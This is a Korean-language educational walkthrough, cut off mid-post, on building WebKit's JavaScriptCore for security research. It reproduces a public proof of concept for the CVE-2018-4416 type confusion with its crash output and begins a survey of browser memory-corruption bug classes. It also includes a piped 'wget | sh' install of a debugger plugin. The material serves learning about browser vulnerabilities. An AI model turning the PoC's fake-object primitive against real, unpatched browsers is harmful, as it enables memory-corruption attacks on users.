
CVE-2018-4416에 대한 교육용 워크스루로, WebKit JavaScriptCore 타입 혼동 취약점의 PoC, 디버깅 설정, 그리고 일반적인 브라우저 바이너리 익스플로잇 기법 분석을 다룹니다.
비교적 쉬운 것으로 /WebKit/을 선택했습니다. (ChakraCore가 더 쉬울 수도 있습니다. 하지만 Microsoft가 프로젝트를 취소한다는 소문이 있어 선택하지 않기로 했습니다.)
/WebKit/ 보안을 공부한 내용을 기록하기 위해 일련의 게시물을 작성할 예정입니다. 브라우저 보안을 처음 배우는 것이므로, 제 게시물에는 아마도 많은 실수가 있을 것입니다. 발견하시면 주저하지 말고 연락 주셔서 수정해 주시기 바랍니다.
읽기 전에 알아야 할 사항: - C++ 문법 - 어셈블리 언어 문법 - 가상 머신 설치 - Ubuntu 및 명령줄에 익숙함 - 기본 컴파일 이론 개념
** Virtual Machine :PROPERTIES: :CUSTOM_ID: virtual-machine :END: 먼저 테스트 대상으로 사용할 VM을 설치해야 합니다. 여기서는 /Ubuntu 18.04 LTS/와 /Ubuntu 16.04 LTS/를 대상 호스트로 선택했습니다. [[https://www.ubuntu.com/][여기]]에서 다운로드할 수 있습니다. 버전을 명시하지 않은 경우 기본 버전으로 18.04 LTS를 사용하세요.
Mac이 XCode와 Safari가 있어 더 적합할 수 있습니다. 하지만 MacOS의 높은 리소스 소모와 불안정한 업데이트를 고려하여, 저는 Ubuntu를 사용하기로 했습니다.
VM 소프트웨어가 필요합니다. 저는 [[https://www.vmware.com/][VMWare]]를 선호합니다. Parallel Desktop과 VirtualBox(무료)도 괜찮습니다. 개인 취향에 따라 선택하세요.
VMWare에 Ubuntu를 설치하는 방법을 단계별로 설명하지는 않겠습니다. 하지만 컴파일에는 많은 리소스가 필요하므로 가능한 많은 메모리와 CPU를 할당하라는 점을 알려드립니다. 소스 코드와 컴파일된 파일을 저장하려면 80GB 디스크면 충분합니다.
** Source Code :PROPERTIES: :CUSTOM_ID: source-code :END: WebKit 소스 코드는 세 가지 방법으로 다운로드할 수 있습니다: [[https://github.com/WebKit/webkit][/git/]], /svn/, 그리고 [[https://webkit.org/getting-the-code/][/archive/]].
WebKit의 기본 버전 관리자는 svn입니다. 하지만 저는 git을 선택했습니다(svn 사용이 너무 낯설어서):
#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example
** Debugger and Editor :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: IDE는 많은 리소스를 소모하므로, 저는 소스 코드 편집에 vim을 사용합니다.
제가 본 대부분의 디버그 작업은 제게 익숙하지 않은 lldb를 사용합니다. 따라서 저도 gdb를 gef 플러그인과 함께 설치합니다.
#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src
** Test :PROPERTIES: :CUSTOM_ID: test :END: *** Compiling JavaScriptCore :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: 전체 WebKit을 컴파일하는 데는 많은 시간이 소요됩니다. 현재는 대부분의 취약점이 발생하는 JSC(JavaScript Core)만 컴파일합니다.
이제 WebKit 소스 코드의 루트 디렉터리에 있어야 합니다. 다음을 실행하여 의존성을 준비합니다:
#+begin_src shell Tools/gtk/install-dependencies #+end_src
아직 전체 WebKit을 컴파일하지는 않았지만, 향후 테스트를 위해 나머지 의존성을 먼저 설치할 수 있습니다. JSC 컴파일에 시간을 많이 쓰고 싶지 않다면 이 단계는 필수가 아닙니다:
#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src
그런 다음 JSC를 컴파일합니다:
#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src
몇 분 후, JSC를 다음과 같이 실행할 수 있습니다:
#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src
몇 가지 테스트를 해보겠습니다:
#+begin_example
1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example
*** Triggering Bugs :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:
#+begin_quote Ubuntu 18.04 LTS #+end_quote
테스트를 위해 [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] 을 사용합니다. PoC는 다음과 같습니다. =jsc=와 같은 폴더에 =poc.js=로 저장합니다:
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // 최적화 시작 for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // "tmp"의 구조 ID는 JSPropertyNameEnumerator에 저장됩니다.
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // "obj"의 구조 ID는 tmp와 동일합니다.
return obj[k]; // 타입 혼동
}
}
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;
let fake_object = opt(fake_object_memory); print(fake_object); #+end_example
먼저 취약한 버전으로 전환합니다:
#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example
#+begin_quote 컴파일하는 것보다 더 오래 걸릴 수 있습니다. #+end_quote
실행: =./jsc poc.js=, 그러면 다음과 같은 결과를 얻습니다:
#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example
최신 버전에서 실행하면(=git checkout master=로 되돌리고, 빌드 내용 삭제 =rm -rf WebKitBuild/Relase/= 및 =rm -rf WebKitBuild/Debug/=):
#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined
================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8)
... // 많은 오류 메시지
SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). #+end_example
이제 버그 트리거에 성공했습니다!
자세한 내용은 설명하지 않겠습니다(저도 모릅니다). 몇 주 후에 근본 원인을 알 수 있기를 바랍니다.
여기서는 바이너리 수준 관련 버그만 다룹니다. /URL 스푸핑/이나 /UXSS/와 같은 상위 수준 버그는 주제에 포함되지 않습니다. 아래 예제는 WebKit에만 국한되지 않습니다. 일부는 Chrome의 버그입니다. 간략히 소개하고, 이후에 PoC를 구체적으로 분석하겠습니다.
이 부분을 읽기 전에 컴파일러 이론에 대한 자료를 읽어보시기를 강력히 권장합니다. 기본적인 Pwn 지식도 익혀두셔야 합니다. 제 설명이 명확하지 않을 수 있습니다. 다시 말씀드리지만, 오류를 발견하시면 수정해 주시기 바랍니다.
이 게시물은 JSC에 대한 이해가 깊어짐에 따라 여러 번 업데이트될 예정입니다. 나중에 다시 확인하는 것을 잊지 마세요.
** 1. Use After Free :PROPERTIES: :CUSTOM_ID: use-after-free :END: 일명 =UAF=입니다. CTF 챌린지에서 흔히 볼 수 있는 전형적인 시나리오입니다:
#+begin_src C char* a = malloc(0x100); free(a); printf("%s", a); #+end_src
일부 논리 오류로 인해 코드가 해제된 메모리를 재사용합니다. 일반적으로 해제된 메모리를 제어할 수 있게 되면 누수나 쓰기가 가능합니다.
CVE-2017-13791은 WebKit UAF의 예입니다. PoC는 다음과 같습니다: